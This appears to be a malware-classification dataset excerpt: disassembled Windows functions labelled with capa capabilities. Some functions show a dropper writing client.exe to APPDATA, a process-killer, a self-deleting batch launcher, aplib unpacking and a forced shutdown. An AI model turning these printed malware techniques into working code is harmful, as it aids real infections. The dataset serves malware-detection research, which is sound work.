joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406460
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, edx
mov ebx, ecx
call fcn.0040b2b4
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
lea ecx, [esi - 1]
lea ebx, [ebx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4064a0
mov eax, dword [str.client.exe]
push 0
push 0x80
mov dword [ecx], eax
mov eax, dword [0x42c9d0]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x42c9d4]
push 0
push 0
mov word [ecx + 8], ax
mov al, byte [0x42c9d6]
push 0x40000000
push esi
mov byte [ecx + 0xa], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40651b
push 0
push 0x432d5c
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406750
mov eax, 1
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x406670
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x430060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x1c]
call fcn.00406530
cmp dword [ebp - 8], 8
lea esi, [ebp - 0x1c]
push 0
cmovae esi, dword [ebp - 0x1c]
push 2
mov dword [ebp - 0x254], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x406722
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x406722
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x22c]
push esi
push eax
call fcn.0040a99c
add esp, 8
test eax, eax
jne 0x40670d
push dword [ebp - 0x248]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x406707
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x254]
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4066d2
push edi
call ebx
cmp dword [ebp - 8], 8
jb 0x406733
push dword [ebp - 0x1c]
call fcn.00401450
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409ec9
mov esp, ebp
pop ebp
ret
Function at 0x406750
Capabilities:
Create process on windows
Self delete
Set current directory
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x430060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x432e48]
push esi
push edi
test eax, eax
jne 0x4067b0
push 0x10
call fcn.00409ffa
add esp, 4
test eax, eax
je 0x4067a9
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x4067ab
xor eax, eax
mov dword [0x432e48], eax
mov esi, dword [eax + 4]
test esi, esi
je 0x4067d0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.0040b2b4
add esp, 4
mov edi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push edi
call fcn.0040a224
add esp, 0x10
lea ecx, [edi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406803
mov eax, dword [str.launch.bat]
mov dword [ecx], eax
mov eax, dword [0x42c9dc]
mov dword [ecx + 4], eax
mov ax, word [0x42c9e0]
mov word [ecx + 8], ax
mov al, byte [0x42c9e2]
push 0x400
mov byte [ecx + 0xa], al
call fcn.0040b2b4
add esp, 4
mov esi, eax
mov dword [ebp - 0x64], esi
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406864
mov eax, dword [str.client.exe]
mov dword [ecx], eax
mov eax, dword [0x42c9d0]
mov dword [ecx + 4], eax
mov ax, word [0x42c9d4]
mov word [ecx + 8], ax
mov al, byte [0x42c9d6]
push 0x400
mov byte [ecx + 0xa], al
call fcn.0040b2b4
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x42ca5c
push edi
call fcn.0040b4e7
mov esi, eax
add esp, 8
test esi, esi
je 0x40696d
push str.ping__n_2_127.0.0.1___nul_n
push esi
call fcn.0040b501
push dword [ebp - 0x64]
push str.start______s__n
push esi
call fcn.0040b501
push edi
push str.del___s__n
push esi
call fcn.0040b501
push esi
call fcn.0040b73d
push 0x44
lea eax, [ebp - 0x50]
xorps xmm0, xmm0
push 0
push eax
movdqa xmmword [ebp - 0x60], xmm0
call fcn.00413020
add esp, 0x30
mov dword [ebp - 0x50], 0x44
xor eax, eax
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x5c]
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00409ec9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x418e8e
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x430060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004108c0
mov dword [ebp - 0x14], eax
cmp dword [0x4328dc], esi
jne 0x418f81
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x418f0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x419061
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x419061
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x419061
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4328dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4328e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4328e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4328ec], eax
test eax, eax
je 0x418f7e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4328e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x418fa6
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x418f99
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x418fbb
push 4
pop eax
jmp 0x419063
cmp dword [ebp - 0x14], esi
je 0x418fbb
push dword [0x4328dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x418fa0
mov eax, dword [0x4328e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x419019
cmp dword [0x4328ec], edi
je 0x419019
push eax
call ebx
push dword [0x4328ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x419019
test eax, eax
je 0x419019
call ecx
test eax, eax
je 0x41900e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41900e
test byte [ebp - 8], 1
jne 0x419019
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x419049
mov eax, dword [0x4328e0]
cmp eax, edi
je 0x419046
push eax
call ebx
test eax, eax
je 0x419046
call eax
mov esi, eax
test esi, esi
je 0x419046
mov eax, dword [0x4328e4]
cmp eax, edi
je 0x419046
push eax
call ebx
test eax, eax
je 0x419046
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4328dc]
call ebx
test eax, eax
je 0x419061
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x419063
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409ec9
mov esp, ebp
pop ebp
ret
Function at 0x105e2c0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x105e410
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x105e2e6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e2d2
add dl, dl
jne 0x105e2f1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e344
xor eax, eax
add dl, dl
jne 0x105e2fe
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e3e5
add dl, dl
jne 0x105e30d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e318
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e323
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e32e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105e33a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x105e2dd
mov eax, 1
add dl, dl
jne 0x105e352
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e35d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e349
sub eax, ebx
mov ebx, 1
jne 0x105e390
mov ecx, 1
add dl, dl
jne 0x105e376
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105e381
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e36d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e2dd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x105e3a7
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105e3b2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e39e
cmp eax, 0x7d00
jae 0x105e3d5
cmp eax, 0x500
jb 0x105e3d0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e2dd
cmp eax, 0x7f
ja 0x105e3d8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e2dd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x105e406
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x105e2dd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401700
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401715
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401754
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x401750
lea ebx, [ebx]
cmp esi, edx
jae 0x401754
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x401740
cmp esi, edx
jb 0x401759
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x4037f0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44cee6
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x468cb0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
xorps xmm0, xmm0
push eax
push 0
movq qword [0x46d76c], xmm0
movq qword [0x46d774], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401c90
mov dword [ebp - 4], 0
call fcn.0040e738
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x40387a
push 0x80004005
call fcn.00401b40
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x220], esi
lea eax, [ebp - 0x230]
push eax
mov byte [ebp - 4], 1
push dword [ebp - 0x21c]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x403961
push edi
call fcn.0042f6f5
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x403961
push ebx
push edi
push 0
push dword [ebp - 0x21c]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x403958
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueW]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x228]
push eax
push str.VarFileInfoTranslation
push ebx
call edi
mov ecx, dword [ebp - 0x228]
movzx eax, word [ecx + 2]
push eax
movzx eax, word [ecx]
push eax
lea eax, [ebp - 0x220]
push str.StringFileInfo_04x_04xFileVersion
push eax
call fcn.00404280
mov esi, dword [ebp - 0x220]
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x22c]
push eax
push esi
push ebx
call edi
test eax, eax
je 0x403958
mov ecx, dword [ebp - 0x22c]
movzx eax, byte [ecx]
mov byte [0x46d76c], al
mov byte [0x46d76d], 0x2e
movzx eax, byte [ecx + 4]
mov byte [0x46d76e], al
movzx eax, byte [ecx + 6]
mov byte [0x46d76f], al
push ebx
call fcn.0042f6bd
add esp, 4
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x403981
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x21c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x4039a5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042f518
mov esp, ebp
pop ebp
ret
Function at 0x407550
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44d578
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x468cb0]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x468cb0]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x4076a4
cmp byte [ebx + 0x45], 0
je 0x4076a4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4075b0
xor al, al
jmp 0x4076a6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x4075f0
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x407631
dec eax
je 0x407635
sub eax, 2
je 0x40768b
xor bl, bl
jmp 0x40768d
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x40766c
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.004317a9
add esp, 0x10
cmp esi, eax
jne 0x40762d
cmp byte [ebx + 0x45], 0
je 0x40768b
test esi, esi
jne 0x4075f0
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00406d70
jmp 0x4075f0
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x4076a0
push dword [esp + 0x18]
call fcn.0040e096
add esp, 4
mov al, bl
jmp 0x4076a6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0042f518
mov esp, ebp
pop ebp
ret

Function at 0x40a350
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x46de98]
sub esp, 8
push esi
mov esi, ecx
test eax, eax
je 0x40a373
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x46de98], 0
push 0
push 0x80000080
push 2
push 0
push 3
push 0x40100000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 8]
push ecx
push 2
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x46de98], eax
mov word [ebp - 4], 0xfeff
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x46de98]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a3d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x46de9c]
push ebx
mov ebx, dword [ebp + 8]
test dword [ebx + 8], eax
je 0x40a542
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x46dea8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
push edi
push str.__X__d_:
xor eax, eax
push 0x200
push 0x46da98
mov word [0x46da98], ax
call fcn.004320a0
call fcn.004320f0
push dword [ebx]
mov esi, eax
push 0x200
push 0x46da98
call fcn.00432144
mov dword [esi], eax
call fcn.004320f0
call fcn.004320f0
push 0x45b890
push 0x200
push 0x46da98
mov esi, eax
call fcn.00432144
add esp, 0x2c
mov dword [esi], eax
call fcn.004320f0
mov ecx, 0x46da98
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a470
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
sub ecx, edx
sar ecx, 1
mov eax, 0x200
sub eax, ecx
push 0xffffffffffffffff
push eax
lea eax, [ecx*2 + 0x46da98]
push eax
call fcn.0042fe1f
mov ecx, 0x46da98
add esp, 0x14
lea edx, [ecx + 2]
jmp 0x40a4b0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a4b0
sub ecx, edx
sar ecx, 1
cmp word [ecx*2 + 0x46da96], 0xa
jne 0x40a4ed
mov dword [ecx*2 + 0x46da96], 0xa000d
lea ecx, [ecx*2 + 2]
cmp ecx, 0x400
jae 0x40a545
xor eax, eax
mov word [ecx + 0x46da98], ax
cmp dword [0x46dea0], 0
je 0x40a535
mov edx, dword [0x46de98]
test edx, edx
je 0x40a535
mov ecx, 0x46da98
mov dword [ebp + 8], 0
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a510
push 0
sub ecx, esi
sar ecx, 1
lea eax, [ebp + 8]
push eax
lea eax, [ecx + ecx]
push eax
push 0x46da98
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x46dea8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.00431fa6
int3
Function at 0x40bb90
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x468cb0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f518
mov esp, ebp
pop ebp
ret
Function at 0x40d7f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.00412d80

Function at 0x40f190
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x40f1c6
push 0x44f948
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40f1d4
push str.SetFileAttributesTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f1d4
push dword [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40f1d6
cmp dword [esi + 4], 0
je 0x40f1d4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x40f1db
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x468cb0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
test esi, esi
je 0x40f221
lea eax, [ebp - 0x28]
push eax
push ecx
push edi
mov ecx, esi
call fcn.0040eb1b
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x28]
jmp 0x40f22a
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40f23c
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041e301
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x20]
cmp ecx, ebx
je 0x40f274
test bl, 1
je 0x40f274
push ecx
push edi
test esi, esi
je 0x40f25a
mov ecx, esi
call fcn.0040f190
jmp 0x40f260
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40f271
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041e301
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + 8]
mov eax, dword [ecx]
or eax, dword [ecx + 4]
je 0x40f351
lea eax, [ebp - 0x44]
push eax
push ecx
call fcn.0040e9c3
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
lea edx, [ecx + 0x10]
mov eax, dword [edx]
or eax, dword [edx + 4]
je 0x40f2b0
lea eax, [ebp - 0x54]
push eax
push edx
call fcn.0040e9c3
pop ecx
lea eax, [ebp - 0x54]
pop ecx
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ecx]
or eax, dword [ecx + 4]
je 0x40f2c9
lea eax, [ebp - 0x4c]
push eax
push ecx
call fcn.0040e9c3
pop ecx
lea eax, [ebp - 0x4c]
pop ecx
mov dword [ebp - 0x38], eax
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push edi
test esi, esi
je 0x40f2e9
mov ecx, esi
call fcn.0040ea79
jmp 0x40f2ef
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x30], eax
cmp eax, 0xffffffff
jne 0x40f307
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041e301
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x44]
push ecx
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x40f337
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x30]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
call fcn.0041e301
mov esi, dword [ebp - 0x3c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40f351
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041e301
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x20], ebx
je 0x40f386
test bl, 1
jne 0x40f386
push dword [eax + 0x20]
push edi
test esi, esi
je 0x40f36f
mov ecx, esi
call fcn.0040f190
jmp 0x40f375
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40f386
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041e301
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042f518
leave
ret 0xc